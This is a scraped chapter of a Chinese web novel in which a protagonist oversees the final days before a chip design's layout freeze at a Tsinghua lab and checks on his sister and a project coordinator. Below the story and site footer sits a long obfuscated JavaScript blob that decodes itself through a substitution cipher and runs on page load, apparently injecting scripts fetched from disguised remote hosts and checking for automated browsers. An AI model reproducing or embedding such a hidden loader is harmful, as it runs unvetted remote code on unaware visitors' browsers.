首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第353章 最后冲刺

    第353章最后冲刺(第1/2页)
    陈默走出写字楼,给许晴打了一通电话。
    “清颜接下来两周需要每天往返清华和金融街。”
    “安排一辆低调些的车,再找一名女司机负责接送。”
    “安保只跟外围,不要进入办公区,也不要影响她在学校的生活。”
    许晴很快理解了他的要求。
    “明白。”
    “司机从女性安全组调一人,早上七点四十分到紫荆公寓外等候,晚上根据筹备组下班时间调整。”
    “我会把司机、车辆和紧急联系人的资料发给苏小姐。”
    “就这样安排。”
    陈默没有再补充。
    经历过那场货车袭击以后,他很难再把身边人的安全完全交给运气。
    结束通话,车辆沿着四环一路返回清华。
    ……
    清嘉微电子联合研究中心。
    距离第一代异构验证芯片冻结最终版图,只剩六天。
    实验楼入口的安保级别再次提高。
    原本能够通行多个区域的工作证被重新划分权限。
    外部供应商、设备工程师和代工接口人员进入不同楼层,都需要由清嘉内部人员全程陪同。
    每一份打印材料带有独立编号。
    作废图纸必须在两人见证下投入碎纸设备。
    地下资料室则彻底切断外部网络,只保留经过审查的离线终端。
    陈默完成两次身份验证,才进入核心设计区。
    走廊尽头的大屏幕上,显示着最后冲刺阶段的总进度。
    控制芯粒、存储芯粒与计算芯粒的接口已经冻结。
    中介层布线完成最后一轮调整。
    基础调度软件在可编程硬件平台上跑通了第三版。
    陈静此前提出的晶圆边缘翘曲补偿参数,也已经写入封装工艺文件。
    尚未关闭的问题还剩十七项。
    任何一项没有处理干净,都有可能让几个月努力变成一批无法启动的硅片。
    硅光互联和微通道液冷没有强行塞进第一代主芯片。
    两条路线继续以独立原型进行验证,主架构只保留接口。
    顾绍庭最终采纳了最稳妥的方案。
    先让第一代芯粒能够识别、通信和协同运行,再考虑将更多超前技术装进同一套系统。
    陈默走进会议室时,吴华强正在与代工厂工程师进行视频会议。
    桌面上摆着三套不同版本的工艺文件。
    “第七码层的金属间距按照你们最新规则重新检查过。”
    “问题不在核心区域,在测试结构与切割道交界。”
    “你们下午把修订后的规则表发过来,晚上必须完成最后一轮验证。”
    吴华强对着屏幕连续确认了十几项内容。
    会议结束,他才注意到陈默。
    “什么时候来的?”
    “刚到。”
    “先坐。”
    吴华强拿起桌上的茶杯,喝了一口才发现已经冷了。
    他皱了皱眉,还是直接咽了下去。
    “现在情况怎么样?”陈默问道。
    “大方向没有问题。”
    吴华强将总表递给他。
    “剩下全是细节。”
    “芯片最后能不能出来,看的就是这些细节。”
    “二十五日能够按时冻结吗?”
    “只要代工规则不再临时变化,可以。”
    吴华强回答完,桌上的电话再次响起。
    他只来得及向陈默摆了摆手,便拿着文件快步离开会议室。
    陈默在原地坐了不到两分钟,又看见顾绍庭从走廊另一端经过。
    老人一边走,一边听三名专家汇报。
    国家大基金、代工、封装、计算机系统和存储方向的最后审查全部压在他这里。
    有专家主张取消部分冗余通道,为主芯片争取更多面积。
    也有人坚持保留旁路结构,宁愿牺牲第一代峰值性能,也要提高封装后的可用率。
    顾绍庭没有在走廊里做出决定。
    “把两套结果和最坏情况都算出来。”
    “下午四点开会。”
    “谁坚持自己的方案,谁就把失败以后会发生什么讲清楚。”
    他说完才看见陈默。
    “来了?”
    “嗯。”
    “正好,四点一起参加评审。”
    顾绍庭没有停步。
    “我先去看封装组。”
    几个人很快消失在走廊转角。
    陈默独自站了片刻。
    实验室比他想象中更加严谨。
    最初那份架构文档确定了方向。
    过去几个月,数百名研究人员和工程师已经将它拆成无数可以计算、验证与制造的具体问题。
    走到今天,陈默掌握的未来记忆能够帮助他判断取舍,却无法替代工程师完成一次布线检查,也无法替封装团队测出材料在数百次热循环后的形变。
    他第一次如此清晰地感受到,一项复杂技术真正进入工程阶段以后,个人能够发挥的作用终究有限。
    即便这个人知道终点在哪里。
    陈默离开会议室,来到失效分析区。
    隔着玻璃,他一眼看见陈静。
    她穿着实验服,长发随意扎在脑后,鼻梁上架着防护眼镜,正和两名封装工程师争论一组热应力数据。
    桌面铺满不同区域的失效分布图。
    屏幕上,晶圆边缘的红色标记被分成数十组。
    “不能只用平均温度。”
    陈静拿笔在图上圈出一个区域。
    “升温速度、持续时间和冷却顺序都不同。”
    “同样是峰值一百二十度,材料经历的应力根本不是一回事。”
    工程师问道:“如果再拆时间窗口,测试量至少增加一倍。”
    “那就增加。”
    (本章未完,请点击下一页继续阅读)第353章最后冲刺(第2/2页)
    陈静说道。
    “现在省下半天,等封装以后发现整批样片在同一个位置失效,损失的就是几个月。”
    她说完转过身,这才发现站在玻璃外面的陈默。
    陈静推门走出来。
    “你怎么有空来了?”
    “过来看看你们需不需要帮忙。”
    “需要。”
    陈静毫不客气地回答。
    陈默挑眉。
    “说吧。”
    “替我点个好点的外卖。”
    陈静指了一下桌角。
    那里放着两只已经空掉的咖啡杯和一包拆开的苏打饼干。
    “除此以外呢?”
    “没了。”
    陈静重新戴好护目镜。
    “技术上的事情你暂时帮不上。”
    “四点开会记得别乱提新想法。”
    “我们现在最怕的就是你这种人突然加功能的人。”
    陈默被她说得一时无言。
    “放心,这次不加。”
    “那就行。”
    陈静转身回到屏幕前,继续和工程师核对数据。
    离开失效分析区,他又在项目管理办公室找到了温知夏。
    温知夏面前摆着三台电话和一份厚厚的节点表。
    她刚刚结束与荷兰设备团队的通话,又在确认一批测试材料的进场时间。
    “法国那批高应力测试晶圆已经完成海关手续,明天上午送到。”
    “封装厂春节期间保留一条工程线,但只能给清嘉三天窗口。”
    “两名设备工程师的签证二十八日到期,必须在离境以前完成操作培训和参数留档。”
    “所有外部人员进入核心区域前重新签保密文件,版本以法务今天下午发的为准。”
    她一项项交代完,才拿起水杯喝了一口。
    陈默站在门口看了好一会儿。
    温知夏察觉到他的目光,抬起头。
    最初进入清嘉时,她更多是陪着陈静,也负责嘉宁与实验室之间的信息传递。
    如今,设备、材料、合同、外部团队、代工节点和成果转化流程都已经汇集到她的进度表上。
    “什么时候回来的?”
    温知夏眼中闪过一丝惊喜。
    “刚到不久。”
    陈默走过去,替她将已经空掉的水杯重新倒满。
    “午饭吃了吗?”
    “吃了一点。”
    “一点是多少?”
    “半份盒饭。”
    “你和我姐在这方面倒是很像。”
    温知夏有些不好意思。
    “今天事情比较多。”
    陈默没有继续责备。
    他给许晴发去消息,让家办安排固定餐饮和夜间医疗值班。
    ……
    接下来几天,陈默几乎每天都留在清嘉。
    上午参加版本审查。
    下午联系代工厂与封装企业。
    晚上则和顾绍庭、吴华强确认当天关闭的问题与次日安排。
    国内最合适的二十八纳米代工窗口已经提前锁定。
    掩模数据会在版图冻结以后,通过独立加密链路交付。
    为了避免第一轮制造出现意外,清嘉同时预留了第二套掩模修订窗口,并向代工厂支付了完整的优先排产费用。
    两家头部封装测试企业分别承担中介层、高密度互联和成品测试。
    其中一家负责主流程,另一家保留验证与备份能力。
    陈默又通过嘉宁控股,提前采购了足够完成三轮工程验证的基板、测试载板和关键耗材。
    ..............
    一月二十三日晚上。
    核心设计区尚未关闭的问题,从十七项减少到四项。
    距离最终冻结,只剩四十八小时。
    陈默离开会议室时,已经接近十一点。
    陈静与温知夏却都没有回万柳书院的打算。
    三个人在实验楼一层的小餐厅里,吃着家办刚送来的热粥和几样清淡小菜。
    “爸妈问你什么时候回江城。”
    陈默看向陈静。
    “今年不回。”
    陈静低头喝了一口粥。
    “版图冻结只是第一步。”
    “后面还有代工接口、封装工艺确认和测试平台。”
    “晶圆回来以前,我得把失效数据库和测试规则全部准备好。”
    “你跟爸妈说过了?”
    “昨天打过电话。”
    陈静说道。
    “妈最开始不同意,听说顾院士和吴教授也不休息,就没再劝。”
    陈默转头看向温知夏。
    “你呢?”
    温知夏放下筷子。
    “我也留在清嘉。”
    “春节期间,代工厂、封装厂和欧洲设备团队的时间都不一样。”
    “外部人员进出、材料运输、版本交接和保密审批必须有人盯着。”
    “我爸妈那边已经说好了。”
    她顿了顿。
    “今年可以提前吃年夜饭。”
    陈默看着两人,并没有劝她们回家。
    这枚芯片对清嘉、对国内半导体产业,也对他们每一个人都太过重要。
    走到最后一步,谁都不愿意离开。
    吃过夜宵,三人一起走出餐厅。
    窗外的清华园已经陷入沉睡。
    远处学生公寓熄灭了大片灯光,校园里只偶尔驶过一辆寒假值班车。
    清嘉实验楼却依旧灯火通明。
    一层、三层、五层。
    每一扇亮着的窗户后面,都有人在为同一个日期倒数。
    一月二十五日。
    最终版图冻结。
    那一天以后,所有写在屏幕、图纸与仿真模型里的设计,都将第一次走向真实的硅片。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g51nekh5ma";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/pn}2YShn^d/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"pn}2YShn^d"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY8pn}2YShn^d"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();